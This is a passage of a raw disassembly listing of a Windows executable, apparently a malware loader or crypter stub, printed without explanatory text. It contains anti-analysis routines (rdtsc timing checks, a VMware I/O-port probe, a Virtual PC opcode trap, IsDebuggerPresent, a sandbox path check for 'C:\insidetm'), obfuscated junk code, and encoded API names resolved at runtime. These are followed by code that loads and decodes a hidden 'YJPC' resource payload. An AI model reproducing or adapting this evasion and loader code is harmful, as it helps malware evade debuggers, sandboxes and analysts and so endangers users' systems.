near ptr 0E12094CDh ; --------------------------------------------------------------------------- loc_4077DA: ; CODE XREF: sub_407168+66Bj push 0C425h add esp, 4 push edx pop edx repne jmp loc_4077F2 ; END OF FUNCTION CHUNK FOR sub_407168 ; --------------------------------------------------------------------------- or al, dl pop ss cmp eax, 0A5265966h ; START OF FUNCTION CHUNK FOR sub_407168 loc_4077F2: ; CODE XREF: sub_407168+67Cj rdtsc mov ecx, eax rdtsc sub ecx, eax not ecx cmp ecx, 5000h jl short loc_407809 jmp near ptr 8924943Ch ; --------------------------------------------------------------------------- loc_407809: ; CODE XREF: sub_407168+69Aj call sub_40780F out dx, al ; END OF FUNCTION CHUNK FOR sub_407168 ; =============== S U B R O U T I N E ======================================= sub_40780F proc near ; CODE XREF: sub_407168:loc_407809p call near ptr loc_407814+1 loc_407814: ; CODE XREF: sub_40780Fp fadd dword ptr [ebx+12042444h] sub_40780F endp ; sp-analysis failed add dword ptr [esp], 0Ah retn ; --------------------------------------------------------------------------- align 10h dd 8A0F5951h, 0FFFFFF22h, 0FF1C8B0Fh db 2 dup(0FFh), 5Ch ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_407168 loc_40782F: ; CODE XREF: sub_407168:loc_40766Fj rdtsc mov ecx, eax rdtsc sub ecx, eax not ecx cmp ecx, 5000h loc_40783F: ; CODE XREF: sub_407168:loc_40783Fj jg short loc_40783F jo loc_4076CA jno loc_4076CA xchg cl, [edi] xor [ebx+2B310FC8h], ecx enter 0FFFFD1F7h, 81h stc add [eax+0], dl add [ebp+eax+var_17], bh pop ebx cmp al, 20h and [eax+52h], dl rdtsc xor ecx, eax pop edx xor ecx, eax pop eax not eax add esp, 4 call sub_4076DD pop esi mov ah, 17h cmp eax, 9F0983F2h loc_407881: ; CODE XREF: sub_407168+5D5j ; sub_407168+5DBj jmp short loc_407887 ; END OF FUNCTION CHUNK FOR sub_407168 ; --------------------------------------------------------------------------- db 1Dh ; --------------------------------------------------------------------------- and al, 44h cld ; START OF FUNCTION CHUNK FOR sub_407168 loc_407887: ; CODE XREF: sub_407168:loc_407881j push ecx pop ecx jo loc_407896 jno loc_407896 pop es loc_407896: ; CODE XREF: sub_407168+721j ; sub_407168+727j call near ptr loc_4078A5+1 jb short near ptr loc_4078FF+3 imul esi, [bp+di+arg_6C], 64657265h loc_4078A5: ; CODE XREF: sub_407168:loc_407896p add [eax-15h], bl loc_4078A8: ; CODE XREF: sub_407168+756j add al, [edi-73F006D4h] idiv dh ; END OF FUNCTION CHUNK FOR sub_407168 ; --------------------------------------------------------------------------- dd 8D0FFFFFh, 0FFFFFEF0h ; --------------------------------------------------------------------------- inc ebx ; START OF FUNCTION CHUNK FOR sub_407168 loc_4078B9: ; CODE XREF: sub_407168+5BFj call near ptr loc_4078BE+1 loc_4078BE: ; CODE XREF: sub_407168:loc_4078B9p jle short loc_4078A8 add [eax], eax ; END OF FUNCTION CHUNK FOR sub_407168 ; --------------------------------------------------------------------------- dw 0 ; --------------------------------------------------------------------------- sbb [ebx+12042444h], al add dword ptr [esp], 0Ah retn ; --------------------------------------------------------------------------- db 8 dd 310F5250h, 335AC833h, 0CF0F58C8h, 2EBCF0Fh, 0FD648FAh dd 0FFFDB080h, 0AA810FFFh, 0E8FFFFFDh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_407168 loc_4078F0: ; CODE XREF: sub_407168+5FAj ; sub_407168+600j mov [ebp+var_1], 1 mov al, [ebp+var_1] pop ecx pop ebp retn ; END OF FUNCTION CHUNK FOR sub_407168 ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4078FC proc near ; CODE XREF: sub_407938+69p var_114 = byte ptr -114h var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp loc_4078FF: ; CODE XREF: sub_407168+733j add esp, 0FFFFFEECh mov [ebp+var_8], edx mov [ebp+var_4], eax lea edx, [ebp+var_114] mov eax, [ebp+var_4] call sub_401648 lea edx, [ebp+var_114] lea eax, [ebp+var_14] mov cl, 0Bh call sub_40153C mov eax, [ebp+var_8] lea edx, [ebp+var_14] call sub_402524 mov esp, ebp pop ebp retn sub_4078FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407938 proc near ; CODE XREF: CODE:004081E7p ; CODE:004081F4p ... var_18 = dword ptr -18h var_14 = dword ptr -14h var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFE8h xor ecx, ecx mov [ebp+var_18], ecx mov [ebp+var_8], edx mov [ebp+var_4], eax mov eax, [ebp+var_4] call sub_4026D0 xor eax, eax push ebp push offset loc_4079DC push dword ptr fs:[eax] mov fs:[eax], esp nop nop nop nop nop nop mov eax, [ebp+var_4] call sub_40255C test eax, eax jle short loc_4079BE mov [ebp+var_14], eax mov [ebp+var_C], 1 loc_40797B: ; CODE XREF: sub_407938+84j mov [ebp+var_D], 1 mov al, [ebp+var_D] inc eax add al, byte ptr [ebp+var_C] add al, [ebp+var_D] add al, byte ptr [ebp+var_C] mov [ebp+var_D], al mov eax, [ebp+var_8] push dword ptr [eax] push offset aAsdasdasdasdsa ; "asdasdasdasdsa" lea edx, [ebp+var_18] xor eax, eax mov al, [ebp+var_D] call sub_4078FC push [ebp+var_18] mov eax, [ebp+var_8] mov edx, 3 call sub_4025A8 inc [ebp+var_C] dec [ebp+var_14] jnz short loc_40797B loc_4079BE: ; CODE XREF: sub_407938+37j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4079E3 loc_4079CB: ; CODE XREF: sub_407938+A9j lea eax, [ebp+var_18] call sub_4022E4 lea eax, [ebp+var_4] call sub_4022E4 retn ; --------------------------------------------------------------------------- loc_4079DC: ; DATA XREF: sub_407938+1Co jmp loc_401FBC ; --------------------------------------------------------------------------- jmp short loc_4079CB ; --------------------------------------------------------------------------- loc_4079E3: ; CODE XREF: sub_407938+A3j ; DATA XREF: sub_407938+8Eo mov esp, ebp pop ebp retn sub_407938 endp ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 0Eh aAsdasdasdasdsa db 'asdasdasdasdsa',0 ; DATA XREF: sub_407938+5Co align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407A00 proc near ; CODE XREF: sub_407B70+2Fp ; sub_407B70+4Dp ... var_18 = dword ptr -18h var_14 = dword ptr -14h var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFE8h xor ecx, ecx mov [ebp+var_18], ecx mov [ebp+var_8], edx mov [ebp+var_4], eax mov eax, [ebp+var_4] call sub_4026D0 xor eax, eax push ebp push offset loc_407A8C push dword ptr fs:[eax] mov fs:[eax], esp mov eax, [ebp+var_4] call sub_40255C test eax, eax jle short loc_407A6E mov [ebp+var_14], eax mov [ebp+var_C], 1 loc_407A3D: ; CODE XREF: sub_407A00+6Cj mov eax, [ebp+var_4] mov edx, [ebp+var_C] mov al, [eax+edx-1] mov [ebp+var_D], al lea eax, [ebp+var_18] mov dl, [ebp+var_D] sub dl, 33h call sub_4024A8 mov edx, [ebp+var_18] mov eax, [ebp+var_8] call sub_402564 mov eax, [ebp+var_8] inc [ebp+var_C] dec [ebp+var_14] jnz short loc_407A3D loc_407A6E: ; CODE XREF: sub_407A00+31j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_407A93 loc_407A7B: ; CODE XREF: sub_407A00+91j lea eax, [ebp+var_18] call sub_4022E4 lea eax, [ebp+var_4] call sub_4022E4 retn ; --------------------------------------------------------------------------- loc_407A8C: ; DATA XREF: sub_407A00+1Co jmp loc_401FBC ; --------------------------------------------------------------------------- jmp short loc_407A7B ; --------------------------------------------------------------------------- loc_407A93: ; CODE XREF: sub_407A00+8Bj ; DATA XREF: sub_407A00+76o mov esp, ebp pop ebp retn sub_407A00 endp ; --------------------------------------------------------------------------- align 4 loc_407A98: ; CODE XREF: CODE:00408255p push ebp mov ecx, offset loc_407AE2 mov ebp, esp push ebx push ecx push large dword ptr fs:0 mov large fs:0, esp mov ebx, 0 mov eax, 1 ; --------------------------------------------------------------------------- dw 3F0Fh ; --------------------------------------------------------------------------- pop es or esi, [esi] mov eax, [esp] mov large fs:0, eax add esp, 8 test ebx, ebx setz al db 36h lea esp, [ebp-4] db 36h mov ebx, [esp] db 36h mov ebp, [esp+4] add esp, 8 retn ; --------------------------------------------------------------------------- loc_407AE2: ; DATA XREF: CODE:00407A99o mov ecx, [esp+0Ch] mov dword ptr [ecx+0A4h], 0FFFFFFFFh add dword ptr [ecx+0B8h], 4 xor eax, eax retn ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407AFC proc near ; CODE XREF: CODE:loc_408248p var_2C = dword ptr -2Ch var_8 = dword ptr -8 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h ; FUNCTION CHUNK AT 00401E34 SIZE 00000160 BYTES ; FUNCTION CHUNK AT 00401FB4 SIZE 00000006 BYTES push ebp mov ebp, esp push ecx push ebx push esi push edi mov [ebp+var_1], 0 xor eax, eax push ebp push offset loc_407B44 push dword ptr fs:[eax] mov fs:[eax], esp push edx push ecx push ebx mov eax, 564D5868h mov ebx, 0 mov ecx, 0Ah mov edx, 5658h in eax, dx cmp ebx, 564D5868h setz [ebp+var_1] pop ebx pop ecx pop edx xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx jmp short loc_407B5E ; --------------------------------------------------------------------------- loc_407B44: ; DATA XREF: sub_407AFC+Eo jmp loc_401E34 ; --------------------------------------------------------------------------- db 1, 2 dup(0) dd 403BD400h, 407B5500h, 0FF45C600h, 0A512E800h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_407B5E: ; CODE XREF: sub_407AFC+46j mov al, [ebp+var_1] mov [ebp+var_2], al mov al, [ebp+var_2] pop edi pop esi pop ebx pop ecx pop ebp retn sub_407AFC endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407B70 proc near ; CODE XREF: CODE:loc_408228p var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 push ebp mov ebp, esp add esp, 0FFFFFFD0h xor eax, eax mov [ebp+var_30], eax mov [ebp+var_2C], eax mov [ebp+var_28], eax mov [ebp+var_24], eax xor eax, eax push ebp push offset loc_407C74 push dword ptr fs:[eax] mov fs:[eax], esp call sub_407168 lea edx, [ebp+var_24] mov eax, offset dword_407C8C call sub_407A00 mov eax, [ebp+var_24] call sub_4026E0 push eax call sub_4031F4 ; LoadLibraryA mov [ebp+var_1C], eax lea edx, [ebp+var_28] mov eax, offset dword_407CA4 call sub_407A00 mov eax, [ebp+var_28] call sub_4026E0 push eax mov eax, [ebp+var_1C] push eax call sub_4031CC ; GetProcAddress mov [ebp+var_20], eax lea edx, [ebp+var_2C] mov eax, offset dword_407CBC call sub_407A00 mov eax, [ebp+var_2C] call sub_4026E0 push eax mov eax, [ebp+var_1C] push eax call [ebp+var_20] mov [ebp+var_14], eax lea edx, [ebp+var_30] mov eax, offset dword_407CD4 call sub_407A00 mov eax, [ebp+var_30] call sub_4026E0 push eax mov eax, [ebp+var_1C] push eax call [ebp+var_20] mov [ebp+var_18], eax mov [ebp+var_1], 0 call [ebp+var_14] mov [ebp+var_8], eax push 96h call [ebp+var_18] call [ebp+var_14] mov [ebp+var_C], eax push 96h call [ebp+var_18] call [ebp+var_14] mov [ebp+var_10], eax mov eax, [ebp+var_C] sub eax, [ebp+var_8] cmp eax, 64h jge short loc_407C59 mov eax, [ebp+var_10] sub eax, [ebp+var_8] cmp eax, 0FAh jge short loc_407C59 mov [ebp+var_1], 1 loc_407C59: ; CODE XREF: sub_407B70+D6j ; sub_407B70+E3j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_407C7B loc_407C66: ; CODE XREF: sub_407B70+109j lea eax, [ebp+var_30] mov edx, 4 call sub_402308 retn ; --------------------------------------------------------------------------- loc_407C74: ; DATA XREF: sub_407B70+17o jmp loc_401FBC ; --------------------------------------------------------------------------- jmp short loc_407C66 ; --------------------------------------------------------------------------- loc_407C7B: ; CODE XREF: sub_407B70+103j ; DATA XREF: sub_407B70+F1o mov al, [ebp+var_1] mov esp, ebp pop ebp retn sub_407B70 endp ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 0Ch dword_407C8C dd 0A1A5989Eh, 65669F98h, 9F9F9761h, 0 ; DATA XREF: sub_407B70+2Ao dd 0FFFFFFFFh, 0Eh dword_407CA4 dd 83A7987Ah, 7496A2A5h, 98A59797h, 0A6A6h, 0FFFFFFFFh ; DATA XREF: sub_407B70+48o dd 0Ch dword_407CBC dd 87A7987Ah, 769E969Ch, 0A7A1A8A2h, 0 ; DATA XREF: sub_407B70+6Ao dd 0FFFFFFFFh, 5 dword_407CD4 dd 98989F86h, 0A3h ; DATA XREF: sub_407B70+8Ao ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407CDC proc near ; CODE XREF: CODE:00408218p var_118 = dword ptr -118h var_114 = dword ptr -114h var_110 = dword ptr -110h var_10C = dword ptr -10Ch var_106 = byte ptr -106h var_1 = byte ptr -1 push ebp mov ebp, esp add esp, 0FFFFFEE8h xor eax, eax mov [ebp+var_114], eax mov [ebp+var_118], eax mov [ebp+var_10C], eax mov [ebp+var_110], eax xor eax, eax push ebp push offset loc_407DCF push dword ptr fs:[eax] mov fs:[eax], esp mov [ebp+var_1], 0 push 104h lea eax, [ebp+var_106] push eax push 0 call sub_4031C4 ; GetModuleHandleA push eax call sub_4031BC ; GetModuleFileNameA lea eax, [ebp+var_10C] push eax lea eax, [ebp+var_110] lea edx, [ebp+var_106] mov ecx, 105h call sub_402530 mov eax, [ebp+var_110] mov ecx, 0Ch mov edx, 1 call sub_402734 mov eax, [ebp+var_10C] mov edx, offset dword_407DE8 call sub_40262C jnz short loc_407D72 mov [ebp+var_1], 1 loc_407D72: ; CODE XREF: sub_407CDC+90j lea eax, [ebp+var_114] push eax lea edx, [ebp+var_118] xor eax, eax call sub_401488 mov eax, [ebp+var_118] mov ecx, 0Ch mov edx, 1 call sub_402734 mov eax, [ebp+var_114] mov edx, offset dword_407DE8 call sub_40262C jnz short loc_407DB1 mov [ebp+var_1], 1 loc_407DB1: ; CODE XREF: sub_407CDC+CFj xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_407DD6 loc_407DBE: ; CODE XREF: sub_407CDC+F8j lea eax, [ebp+var_118] mov edx, 4 call sub_402308 retn ; --------------------------------------------------------------------------- loc_407DCF: ; DATA XREF: sub_407CDC+26o jmp loc_401FBC ; --------------------------------------------------------------------------- jmp short loc_407DBE ; --------------------------------------------------------------------------- loc_407DD6: ; CODE XREF: sub_407CDC+F2j ; DATA XREF: sub_407CDC+DDo mov al, [ebp+var_1] mov esp, ebp pop ebp retn sub_407CDC endp ; --------------------------------------------------------------------------- align 10h dd 0FFFFFFFFh, 0Ch dword_407DE8 dd 495C3A43h, 6469736Eh, 5C6D5465h, 0 ; DATA XREF: sub_407CDC+86o ; sub_407CDC+C5o ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407DF8 proc near ; CODE XREF: CODE:loc_408238p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 push ebp mov ebp, esp add esp, 0FFFFFFE0h xor eax, eax mov [ebp+var_20], eax mov [ebp+var_1C], eax mov [ebp+var_18], eax xor eax, eax push ebp push offset loc_407EB5 push dword ptr fs:[eax] mov fs:[eax], esp lea edx, [ebp+var_18] mov eax, offset dword_407ECC call sub_407A00 mov eax, [ebp+var_18] call sub_4026E0 push eax call sub_4031F4 ; LoadLibraryA mov [ebp+var_10], eax lea edx, [ebp+var_1C] mov eax, offset dword_407EE4 call sub_407A00 mov eax, [ebp+var_1C] call sub_4026E0 push eax mov eax, [ebp+var_10] push eax call sub_4031CC ; GetProcAddress mov [ebp+var_14], eax mov [ebp+var_1], 0 lea edx, [ebp+var_20] mov eax, offset dword_407ECC call sub_407A00 mov eax, [ebp+var_20] call sub_4026E0 push eax call sub_4031F4 ; LoadLibraryA mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_407E9A push offset aIsdebuggerpres ; "IsDebuggerPresent" mov eax, [ebp+var_C] push eax call [ebp+var_14] mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_407E9A call [ebp+var_8] mov [ebp+var_1], al loc_407E9A: ; CODE XREF: sub_407DF8+85j ; sub_407DF8+9Aj xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_407EBC loc_407EA7: ; CODE XREF: sub_407DF8+C2j lea eax, [ebp+var_20] mov edx, 3 call sub_402308 retn ; --------------------------------------------------------------------------- loc_407EB5: ; DATA XREF: sub_407DF8+14o jmp loc_401FBC ; --------------------------------------------------------------------------- jmp short loc_407EA7 ; --------------------------------------------------------------------------- loc_407EBC: ; CODE XREF: sub_407DF8+BCj ; DATA XREF: sub_407DF8+AAo mov al, [ebp+var_1] mov esp, ebp pop ebp retn sub_407DF8 endp ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 0Ch dword_407ECC dd 0A1A5989Eh, 65669F98h, 9F9F9761h, 0 ; DATA XREF: sub_407DF8+22o ; sub_407DF8+66o dd 0FFFFFFFFh, 0Eh dword_407EE4 dd 83A7987Ah, 7496A2A5h, 98A59797h, 0A6A6h ; DATA XREF: sub_407DF8+40o aIsdebuggerpres db 'IsDebuggerPresent',0 ; DATA XREF: sub_407DF8+87o align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407F08 proc near ; CODE XREF: CODE:004082CDp var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFB4h xor ecx, ecx mov [ebp+var_4C], ecx mov [ebp+var_48], ecx mov [ebp+var_44], ecx mov [ebp+var_40], ecx mov [ebp+var_3C], ecx mov [ebp+var_38], ecx mov [ebp+var_34], ecx mov [ebp+var_8], edx mov [ebp+var_4], eax xor eax, eax push ebp push offset loc_40807F push dword ptr fs:[eax] mov fs:[eax], esp lea edx, [ebp+var_34] mov eax, offset dword_408098 call sub_407A00 mov eax, [ebp+var_34] call sub_4026E0 push eax call sub_4031F4 ; LoadLibraryA mov [ebp+var_2C], eax lea edx, [ebp+var_38] mov eax, offset dword_4080B0 call sub_407A00 mov eax, [ebp+var_38] call sub_4026E0 push eax mov eax, [ebp+var_2C] push eax call sub_4031CC ; GetProcAddress mov [ebp+var_30], eax lea edx, [ebp+var_3C] mov eax, offset dword_4080C8 call sub_407A00 mov eax, [ebp+var_3C] call sub_4026E0 push eax mov eax, [ebp+var_2C] push eax call [ebp+var_30] mov [ebp+var_18], eax lea edx, [ebp+var_40] mov eax, offset dword_4080E0 call sub_407A00 mov eax, [ebp+var_40] call sub_4026E0 push eax mov eax, [ebp+var_2C] push eax call [ebp+var_30] mov [ebp+var_1C], eax lea edx, [ebp+var_44] mov eax, offset dword_4080F8 call sub_407A00 mov eax, [ebp+var_44] call sub_4026E0 push eax mov eax, [ebp+var_2C] push eax call [ebp+var_30] mov [ebp+var_20], eax lea edx, [ebp+var_48] mov eax, offset dword_408110 call sub_407A00 mov eax, [ebp+var_48] call sub_4026E0 push eax mov eax, [ebp+var_2C] push eax call [ebp+var_30] mov [ebp+var_24], eax lea edx, [ebp+var_4C] mov eax, offset dword_408128 call sub_407A00 mov eax, [ebp+var_4C] call sub_4026E0 push eax mov eax, [ebp+var_2C] push eax call [ebp+var_30] mov [ebp+var_28], eax push 0Ah mov eax, [ebp+var_8] push eax mov eax, ds:dword_40A4C8 push eax call [ebp+var_18] mov [ebp+var_10], eax mov eax, [ebp+var_10] push eax mov eax, ds:dword_40A4C8 push eax call [ebp+var_1C] mov edx, [ebp+var_4] mov [edx], eax mov eax, [ebp+var_10] push eax mov eax, ds:dword_40A4C8 push eax call [ebp+var_20] mov [ebp+var_14], eax mov eax, [ebp+var_14] push eax call [ebp+var_24] mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_408064 mov eax, [ebp+var_14] push eax call [ebp+var_28] loc_408064: ; CODE XREF: sub_407F08+153j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_408086 loc_408071: ; CODE XREF: sub_407F08+17Cj lea eax, [ebp+var_4C] mov edx, 7 call sub_402308 retn ; --------------------------------------------------------------------------- loc_40807F: ; DATA XREF: sub_407F08+26o jmp loc_401FBC ; --------------------------------------------------------------------------- jmp short loc_408071 ; --------------------------------------------------------------------------- loc_408086: ; CODE XREF: sub_407F08+176j ; DATA XREF: sub_407F08+164o mov eax, [ebp+var_C] mov esp, ebp pop ebp retn sub_407F08 endp ; --------------------------------------------------------------------------- align 10h dd 0FFFFFFFFh, 0Ch dword_408098 dd 0A1A5989Eh, 65669F98h, 9F9F9761h, 0 ; DATA XREF: sub_407F08+34o dd 0FFFFFFFFh, 0Eh dword_4080B0 dd 83A7987Ah, 7496A2A5h, 98A59797h, 0A6A6h, 0FFFFFFFFh ; DATA XREF: sub_407F08+52o dd 0Dh dword_4080C8 dd 97A19C79h, 0A2A69885h, 9896A5A8h, 74h, 0FFFFFFFFh, 0Eh ; DATA XREF: sub_407F08+74o dword_4080E0 dd 98AD9C86h, 988599A2h, 0A5A8A2A6h, 9896h, 0FFFFFFFFh ; DATA XREF: sub_407F08+94o dd 0Ch dword_4080F8 dd 9794A27Fh, 0A2A69885h, 9896A5A8h, 0 ; DATA XREF: sub_407F08+B4o dd 0FFFFFFFFh, 0Ch dword_408110 dd 9E96A27Fh, 0A2A69885h, 9896A5A8h, 0 ; DATA XREF: sub_407F08+D4o dd 0FFFFFFFFh, 0Ch dword_408128 dd 9898A579h, 0A2A69885h, 9896A5A8h, 0 ; DATA XREF: sub_407F08+F4o ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408138 proc near ; DATA XREF: CODE:004081ACo push ebp mov ebp, esp xor eax, eax push ebp push offset loc_408157 push dword ptr fs:[eax] mov fs:[eax], esp xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40815E loc_408156: ; CODE XREF: sub_408138+24j retn ; --------------------------------------------------------------------------- loc_408157: ; DATA XREF: sub_408138+6o jmp loc_401FBC ; --------------------------------------------------------------------------- jmp short loc_408156 ; --------------------------------------------------------------------------- loc_40815E: ; CODE XREF: sub_408138:loc_408156j ; DATA XREF: sub_408138+19o pop ebp retn sub_408138 endp ; --------------------------------------------------------------------------- dword_408160 dd 9, 408168h, 40314Ch, 40311Ch, 403004h, 402FBCh, 40350Ch ; DATA XREF: CODE:004081BFo ; BSS:off_40A3E8o dd 4034DCh, 403184h, 403154h, 40325Ch, 40322Ch, 4067DCh dd 40665Ch, 406A34h, 406A04h, 407160h, 407130h, 0 dd offset sub_408138 ; --------------------------------------------------------------------------- public start start: push ebp mov ebp, esp mov ecx, 7 loc_4081B8: ; CODE XREF: CODE:004081BDj push 0 push 0 dec ecx jnz short loc_4081B8 mov eax, offset dword_408160 call sub_4030D8 xor eax, eax push ebp push offset loc_40839C push dword ptr fs:[eax] mov fs:[eax], esp call sub_407168 nop nop nop lea edx, [ebp-18h] mov eax, offset aDggdggdsa ; "dggdggdsa" call sub_407938 lea edx, [ebp-1Ch] mov eax, offset aSdgdgdgssdgb ; "sdgdgdgssdgb" call sub_407938 lea edx, [ebp-20h] mov eax, offset aSdggsddgssdgdg ; "sdggsddgssdgdgsp" call sub_407938 lea edx, [ebp-24h] mov eax, offset aSddgsdgsdgdgsd ; "sddgsdgsdgdgsdgssdggsdgsdg" call sub_407938 call sub_407168 call sub_407CDC cmp al, 1 jnz short loc_408228 push 0 call sub_403194 ; ExitProcess loc_408228: ; CODE XREF: CODE:0040821Fj call sub_407B70 cmp al, 1 jnz short loc_408238 push 0 call sub_403194 ; ExitProcess loc_408238: ; CODE XREF: CODE:0040822Fj call sub_407DF8 cmp al, 1 jnz short loc_408248 push 0 call sub_403194 ; ExitProcess loc_408248: ; CODE XREF: CODE:0040823Fj call sub_407AFC cmp al, 1 jz loc_408381 call loc_407A98 cmp al, 1 jz loc_408381 call sub_401428 test eax, eax jle short loc_4082AD mov [ebp-14h], eax mov ds:dword_40A618, 1 loc_408278: ; CODE XREF: CODE:004082ABj push ds:dword_40A61C push offset dword_40841C lea edx, [ebp-28h] mov eax, ds:dword_40A618 call sub_401488 push dword ptr [ebp-28h] mov eax, offset dword_40A61C mov edx, 3 call sub_4025A8 inc ds:dword_40A618 dec dword ptr [ebp-14h] jnz short loc_408278 loc_4082AD: ; CODE XREF: CODE:00408269j mov eax, offset dword_40A614 mov edx, offset aYjpc ; "YJPC" call sub_402338 mov eax, ds:dword_40A614 call sub_4026E0 mov edx, eax mov eax, offset dword_40A60C call sub_407F08 mov ds:dword_40A608, eax cmp ds:dword_40A608, 0 jz loc_408373 mov eax, offset dword_40A610 mov edx, ds:dword_40A60C call sub_402774 mov eax, offset dword_40A610 call sub_40272C mov edx, eax mov eax, ds:dword_40A608 mov ecx, ds:dword_40A60C call sub_4012DC lea edx, [ebp-34h] mov eax, ds:dword_40A610 call sub_407A00 mov eax, [ebp-34h] push eax lea eax, [ebp-30h] push eax call sub_406870 mov eax, [ebp-30h] push eax lea eax, [ebp-2Ch] push eax call sub_406930 mov edx, [ebp-2Ch] mov eax, offset dword_40A610 call sub_402338 call sub_407168 push 0 lea edx, [ebp-38h] xor eax, eax call sub_401488 mov eax, [ebp-38h] push eax mov eax, offset dword_40A610 call sub_40272C mov ecx, ds:dword_40A61C pop edx call sub_406B18 test al, al jmp short loc_40837A ; --------------------------------------------------------------------------- loc_408373: ; CODE XREF: CODE:004082DEj push 0 call sub_403194 ; ExitProcess loc_40837A: ; CODE XREF: CODE:00408371j push 0 call sub_403194 ; ExitProcess loc_408381: ; CODE XREF: CODE:0040824Fj ; CODE:0040825Cj xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4083A3 loc_40838E: ; CODE XREF: CODE:004083A1j lea eax, [ebp-38h] mov edx, 9 call sub_402308 retn ; --------------------------------------------------------------------------- loc_40839C: ; DATA XREF: CODE:004081CCo jmp loc_401FBC ; --------------------------------------------------------------------------- jmp short loc_40838E ; --------------------------------------------------------------------------- loc_4083A3: ; CODE XREF: CODE:0040839Bj ; DATA XREF: CODE:00408389o call sub_4021FC ; --------------------------------------------------------------------------- dd 0FFFFFFFFh, 9 aDggdggdsa db 'dggdggdsa',0 ; DATA XREF: CODE:004081E2o align 4 dd 0FFFFFFFFh, 0Ch aSdgdgdgssdgb db 'sdgdgdgssdgb',0 ; DATA XREF: CODE:004081EFo align 4 dd 0FFFFFFFFh, 10h aSdggsddgssdgdg db 'sdggsddgssdgdgsp',0 ; DATA XREF: CODE:004081FCo align 10h dd 0FFFFFFFFh, 1Ah aSddgsdgsdgdgsd db 'sddgsdgsdgdgsdgssdggsdgsdg',0 ; DATA XREF: CODE:00408209o align 4 dd 0FFFFFFFFh, 1 dword_40841C dd 20h, 0FFFFFFFFh, 4 ; DATA XREF: CODE:0040827Eo aYjpc db 'YJPC',0 ; DATA XREF: CODE:004082B2o align 1000h CODE ends ; Section 2. (virtual address 00009000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00009000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write DATA segment para public 'DATA' use32 assume cs:DATA ;org 409000h dword_409000 dd 0 ; DATA XREF: sub_4021CC+2w ; sub_4021FC+9o ... dword_409004 dd 0 ; DATA XREF: sub_401228w ; sub_4021FC:loc_40222Br ... word_409008 dw 1332h ; DATA XREF: sub_401A1C+3r dw 0C08Bh byte_40900C db 0 ; DATA XREF: sub_401C24r sub_401C40r ... db 8Dh, 40h, 0 byte_409010 db 0 ; DATA XREF: sub_401D08+52r ; sub_401D08:loc_401D95r ... db 8Dh, 40h, 0 off_409014 dd offset dword_409068 ; DATA XREF: sub_402AB8r sub_402F1Cr ... dword_409018 dd 0 ; DATA XREF: sub_402F2C+4r off_40901C dd offset sub_402F2C ; DATA XREF: sub_4021FC+66r off_409020 dd offset nullsub_1 ; DATA XREF: sub_402824+67r off_409024 dd offset nullsub_1 ; DATA XREF: sub_402824+71r off_409028 dd offset sub_4020D4 ; DATA XREF: sub_4020D4+Fr ; sub_4020D4+35r ... off_40902C dd offset sub_4020A0 ; DATA XREF: 